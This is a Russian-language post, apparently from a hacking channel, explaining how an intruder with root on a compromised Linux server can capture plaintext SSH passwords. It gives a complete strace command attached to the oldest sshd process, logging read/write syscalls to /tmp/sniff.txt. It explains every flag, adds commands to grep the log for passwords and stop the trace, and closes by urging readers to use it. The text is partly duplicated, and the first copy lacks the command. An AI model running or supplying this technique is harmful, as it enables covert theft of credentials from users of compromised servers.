Всем привет бывает такая ситуация вы попали на линукс машину, получили шелл, но у вас нет пароля в чистом виде. Мы можем прочитать /etc/shadow но пароли зашифрованы и нет ни времени ни ресурсов чтобы брутить эти пароли. Нужно получить в открытом виде пароль рута и желательно всех остальных юзеров.
Запускаем на скомпрометированной машине
Эта команда запускает strace для трассировки системных вызовов процесса sshd (самого старого процесса SSH-сервера), при этом вывод записывается в файл /tmp/sniff.txt и процесс работает в фоновом режиме.
:one: sudo
⮕ Запуск с правами суперпользователя, так как strace требует root-доступ для трассировки процессов, запущенных другими пользователями.
:two: nohup
⮕ Позволяет процессу продолжать работу после выхода из терминала (иначе strace завершится при выходе из сессии).
:three: strace
⮕ Основная команда для трассировки системных вызовов.
:four: -f
⮕ Позволяет отслеживать дочерние процессы sshd.
:five: -p $(pgrep -o sshd)
⮕ pgrep -o sshd находит первый (самый старый) процесс sshd и передает его PID в strace для трассировки.
:six: -a
⮕ Добавляет PID каждого процесса в вывод (удобно для анализа, если strace отслеживает несколько процессов).
:seven: -o /tmp/sniff.txt
⮕ Записывает результат в файл /tmp/sniff.txt (если файла нет, создаст его).
:eight: -v
⮕ Выводит полные данные аргументов в syscall (без -v часть длинных значений может быть обрезана).
:nine: -e trace=read,write
⮕ Фильтрует только системные вызовы read и write (чтобы отслеживать ввод/вывод данных).
:keycap_ten: -s 128
⮕ Устанавливает максимальную длину строки для вывода (128 символов).
:one::one: >> /tmp/sniff.txt 2>&1
⮕ Перенаправляет stdout и stderr в файл /tmp/sniff.txt, чтобы лог хранил не только syscall, но и возможные ошибки.
:one::two: &
⮕ Запускает команду в фоновом режиме.
:pushpin: Она постоянно мониторит процесс sshd и записывает все данные, передаваемые через read/write, в файл /tmp/sniff.txt.
:pushpin: Позволяет анализировать ввод/вывод, включая возможные пароли, команды и сетевые взаимодействия.
:small_blue_diamond: Посмотреть лог в реальном времени:
:small_blue_diamond: Найти определенные строки (например, пароли):
:small_blue_diamond: Остановить strace:
Теперь если кто-то авторизируется по ssh, пароль в открытом виде сохранится в /tmp/sniff.txt. Если кто-то при подключении по ssh в терминале будет вводить текст, даже не отправляя его (не нажимая enter) - нам все равно прилетит запись. Пользуйтесь!
Запускаем на скомпрометированной машине
sudo nohup strace -f -p $(pgrep -o sshd) -a -o /tmp/sniff.txt -v -e trace=read,write -s 128 >> /tmp/sniff.txt 2>&1 &Эта команда запускает strace для трассировки системных вызовов процесса sshd (самого старого процесса SSH-сервера), при этом вывод записывается в файл /tmp/sniff.txt и процесс работает в фоновом режиме.
Разбор команды по частям:
:one: sudo
⮕ Запуск с правами суперпользователя, так как strace требует root-доступ для трассировки процессов, запущенных другими пользователями.
:two: nohup
⮕ Позволяет процессу продолжать работу после выхода из терминала (иначе strace завершится при выходе из сессии).
:three: strace
⮕ Основная команда для трассировки системных вызовов.
:four: -f
⮕ Позволяет отслеживать дочерние процессы sshd.
:five: -p $(pgrep -o sshd)
⮕ pgrep -o sshd находит первый (самый старый) процесс sshd и передает его PID в strace для трассировки.
:six: -a
⮕ Добавляет PID каждого процесса в вывод (удобно для анализа, если strace отслеживает несколько процессов).
:seven: -o /tmp/sniff.txt
⮕ Записывает результат в файл /tmp/sniff.txt (если файла нет, создаст его).
:eight: -v
⮕ Выводит полные данные аргументов в syscall (без -v часть длинных значений может быть обрезана).
:nine: -e trace=read,write
⮕ Фильтрует только системные вызовы read и write (чтобы отслеживать ввод/вывод данных).
:keycap_ten: -s 128
⮕ Устанавливает максимальную длину строки для вывода (128 символов).
:one::one: >> /tmp/sniff.txt 2>&1
⮕ Перенаправляет stdout и stderr в файл /tmp/sniff.txt, чтобы лог хранил не только syscall, но и возможные ошибки.
:one::two: &
⮕ Запускает команду в фоновом режиме.
Что делает команда?
:pushpin: Она постоянно мониторит процесс sshd и записывает все данные, передаваемые через read/write, в файл /tmp/sniff.txt.
:pushpin: Позволяет анализировать ввод/вывод, включая возможные пароли, команды и сетевые взаимодействия.
Как проверить результаты?
:small_blue_diamond: Посмотреть лог в реальном времени:
tail -f /tmp/sniff.txt:small_blue_diamond: Найти определенные строки (например, пароли):
grep "password" /tmp/sniff.txt:small_blue_diamond: Остановить strace:
sudo pkill -f "strace -f -p"Теперь если кто-то авторизируется по ssh, пароль в открытом виде сохранится в /tmp/sniff.txt. Если кто-то при подключении по ssh в терминале будет вводить текст, даже не отправляя его (не нажимая enter) - нам все равно прилетит запись. Пользуйтесь!
Не удалось прогрузить медиа
👍9
😮1
🤔2
LIMB